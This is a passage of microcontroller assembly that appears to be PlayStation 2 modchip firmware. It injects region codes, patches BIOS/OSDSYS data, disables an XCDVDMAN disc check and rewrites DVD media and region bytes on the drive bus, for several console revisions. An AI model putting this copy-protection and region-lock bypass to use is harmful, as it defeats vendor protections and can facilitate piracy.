RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS jmp RESUME_MODE_FROM_EJECT sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED mov w,rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT clr fsr snb DEV1_FLAG page $0400 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp CONSOLE_2002_JMP mov w,#$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0400 IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG page $0800 jmp PS1_CONSOLE_PAL_YFIX page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 ;; here issue ??? mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0a00 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 snb V14_FLAG page $0a00 jmp PS2LOGO_PATCHLOAD_22_JMP1 ;; check mov w,#$b mov VAR_DC1,w mov w,#$59 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 ;;todo v0 likely put on another page isolated CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 mov w,VAR_BIOS_REV-w snb z jmp V1_CONSOLE_11_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V2or3_CONSOLE_12_BIOS mov w,#$35 mov w,VAR_BIOS_REV-w snb z jmp V4_CONSOLE_15_BIOS jmp CHECK_V9to14_REV ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w mov w,#$94 mov VAR_DC4,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#$64 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$37;27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#$7c;f4 mov VAR_DC3,w mov w,#$a9;9e mov VAR_DC4,w mov w,#$37;27 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$20;15 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr ;; added snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$20;15 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0a00 jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV ;; this problem ??? mov w,#$2f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$4b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$4f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$55;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$57;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX ; POST_PATCH_4_MODE_START ;; can delete probly ; mov w,#$1a ; mov m,w ; mov w,#$6 ; mov !IO_CDDVD_BUS,w ; mov w,#$19 ; mov m,w ; clr w ; mov !IO_CDDVD_BUS,w ; mov w,#$1b ; mov m,w ; mov w,#$f3 ;; mov !IO_CDDVD_BUS,w ; mov w,#$1f ; mov m,w ;; added POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;; end added ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#$64 mov VAR_DC4,w ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$20;15 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A mov w,#$6 mov !IO_CDDVD_BUS,w mode $0009 clr w mov !IO_CDDVD_BUS,w mode $000B snb PSX_FLAG jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 mov !IO_CDDVD_BUS,w sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 mov !IO_CDDVD_BUS,w sleep org $0400 ; PAGE4 400-5FF ;; page4 mechacon area ;; should be fine ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- snb IO_CDDVD_OE_A_1Q jmp MECHACON_WAIT_OE clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R decsz VAR_DC1 jmp MECHACON_WAIT_OE ret ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spa rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#$f mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF RSTBUMP sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;dvd_c1 mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb USA_FLAG jmp CDDVD_USA snb UK_FLAG jmp CDDVD_UK mov w,#$10 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_UK mov w,#$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_USA clr w ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$1f mov m,w mov w,#$f mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH mov w,#$ff CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov !IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb SOFT_RST 